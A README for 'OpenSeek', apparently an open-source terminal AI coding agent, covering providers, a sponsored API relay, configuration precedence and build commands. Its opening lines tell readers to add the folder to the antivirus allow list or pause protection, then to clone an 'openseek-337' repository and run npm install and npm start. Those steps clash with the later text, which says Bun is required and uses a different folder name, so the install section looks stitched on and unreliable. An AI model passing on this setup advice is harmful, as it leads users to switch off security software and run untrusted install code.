[!TIP] If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
[!CAUTION] Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/ChainArtisan/openseek-337.git
cd openseek-337
npm install
npm start🌐 Website: openseek.dev
English | 中文
Want to appear here? Open an issue.
| RelayRouter | Thanks to RelayRouter for sponsoring this project! RelayRouter is a multi-protocol AI API relay — one key, many models. It speaks both the OpenAI /v1/chat/completions and Anthropic /v1/messages wire protocols and dispatches by API-key group: Claude · GPT-5.x · Codex · Gemini · DeepSeek · Kimi · MiniMax — at 0.5×–5.5× upstream pricing depending on the group. OpenSeek ships first-class support via two built-in providers (relayrouter + relayrouter-anthropic), pinned to the top of the picker. Register here to get started. |
Modern AI coding tools — Claude Code, Codex, Cursor — are great but closed-source and lock you to specific providers. OpenSeek gives you the same agentic terminal experience, open-source, with full BYOK freedom across 28 built-in providers and a transparent cost meter.
- 28 built-in providers — OpenAI-compat (Mikan, DeepSeek, OpenRouter, Groq, Fireworks, NVIDIA NIM, Together, Cerebras, DeepInfra, Perplexity, Mistral, xAI, Cohere, Vercel Gateway, Novita, SGLang, vLLM, MiniMax, RelayRouter), Anthropic-protocol (Anthropic, Bedrock, Vertex, Azure Foundry, RelayRouter-Anthropic), Google (Gemini, Vertex), and local (Ollama, custom)
- 50+ tools, 100+ slash commands — file ops, shell, web search, MCP fan-out, plan-mode tree, sub-agents, RLM
- Plan / Agent / YOLO modes — read-only planning → confirmed execution → full autonomy
- MCP client — stdio / SSE / websocket transports, 1-click skills/server install
- LSP feedback —
tsserver,rust-analyzer,pyright,gopls, … inline diagnostics during edits - Headless HTTP/SSE runtime API —
openseek serve --httpfor IDE bridges & CI - Cost meter — per-model
$/Mtokpricing, real-time spend tracking, cache-hit accounting
- macOS or Linux (Windows: use WSL2)
- Bun ≥ 1.3 — required at runtime, not optional. The codebase uses
Bun.spawn/Bun.serve/Bun.file; node alone cannot run it. Even if you install vianpm i -g, theopenseekcommand shells out tobunat startup and will fail withenv: bun: No such file or directoryif bun is not on your PATH.
Verify: bun --version should print ≥ 1.3.0.
Pick one. All three put openseek on your PATH.
# A. npm
# B. bun (same registry as A, smoother if you already use bun)
bun add -g openseek
# C. From source (recommended while iterating)
git clone https://github.com/ChainArtisan/openseek-337.git
cd openseek
bun install
bun run build
ln -sf "$PWD/bin/openseek" ~/.local/bin/openseekopenseek # start the TUI
openseek setup # first-run wizard — pick provider + paste API key
openseek doctor # print resolved config + per-field source layer
openseek serve --http # headless HTTP/SSE on :7117The fastest way to try every model family from one key: register a RelayRouter account, copy the key, pick a group on the dashboard, and point OpenSeek at it.
# Claude family — key on a "Claude" group (e.g. Claude 2x)
OPENSEEK_PROVIDER=relayrouter-anthropic \
OPENSEEK_API_KEY=sk-... \
OPENSEEK_MODEL=claude-sonnet-4-6 \
openseek
# GPT / Codex — key on the "Codex 0.75x" group (most permissive)
OPENSEEK_PROVIDER=relayrouter \
OPENSEEK_API_KEY=sk-... \
OPENSEEK_MODEL=gpt-5.4 \
openseek→ Sign up here to get RelayRouter credit.
OpenSeek resolves each setting (provider / model / API key / base URL) from the highest layer that defines it. Higher layers override lower ones.
| # | Layer | Location | Notes |
|---|---|---|---|
| 1 | env | OPENSEEK_PROVIDER, OPENSEEK_MODEL, OPENSEEK_API_KEY, OPENSEEK_BASE_URL |
Plus provider-specific keys (DEEPSEEK_API_KEY, ANTHROPIC_API_KEY, etc.) |
| 2 | project overlay | <workspace>/.openseek/config.toml |
Sandboxed — only model is honored. api_key / base_url / provider are silently dropped so a checked-in overlay can't leak secrets or hijack the provider. |
| 3 | user config | ~/.openseek/config.toml |
Persisted by the first-run wizard (openseek setup). 0600 perms. |
| 4 | default | hard-coded fallbacks | What ships in the binary. |
Run openseek doctor to see exactly where each value resolved from:
$ openseek doctor
Resolved configuration:
provider deepseek ← user (~/.openseek/config.toml)
model deepseek-v4-flash ← user (~/.openseek/config.toml)
api_key sk-a…b8e2 ← env
base_url (provider default) ← built-in default
Precedence (highest first):
1. env OPENSEEK_PROVIDER / OPENSEEK_MODEL / OPENSEEK_API_KEY / OPENSEEK_BASE_URL
2. project <workspace>/.openseek/config.toml (model only — secrets ignored)
3. user ~/.openseek/config.toml
4. default built-in fallbacks
Inside the TUI, /help lists all slash commands grouped by category; /help <name> shows details for one command, /help <category> filters to a single category (session / config / tools / git / agent / skills / diagnostics / advanced / …), and /help all is a flat list.
bun install
bun run dev # boots the CLI directly from TypeScript sources, no build neededbun run lint # biome
bun run typecheck # tsc --noEmit
bun run test # bun test
bun run verify # all threeopenseek/
├── packages/ 14 workspace packages
│ ├── core/ shared leaf utilities
│ ├── provider/ 28 provider adapters (Vercel ai SDK)
│ ├── session/ main agent loop + compaction strategies
│ ├── tool/ built-in tool registry
│ ├── command/ slash-command registry
│ ├── tui/ @opentui/solid terminal renderer
│ ├── mcp/ MCP client (stdio / SSE / websocket)
│ ├── skill/ skill loader
│ ├── agent/ sub-agents + RLM fan-out
│ ├── memory/ SessionMemory
│ ├── plugin/ plugin protocol
│ ├── server/ HTTP / SSE runtime API
│ ├── lsp/ LSP client (tsserver, rust-analyzer, pyright, ...)
│ └── cli/ entrypoint
├── scripts/ init / build / lint / typecheck / test / verify
├── tests/ cross-package smoke / e2e / coverage gate
├── install/ curl-bash installer + Brewfile + Nix expression
├── bin/openseek executable shim
└── package.json bun workspaces root
MIT — see LICENSE.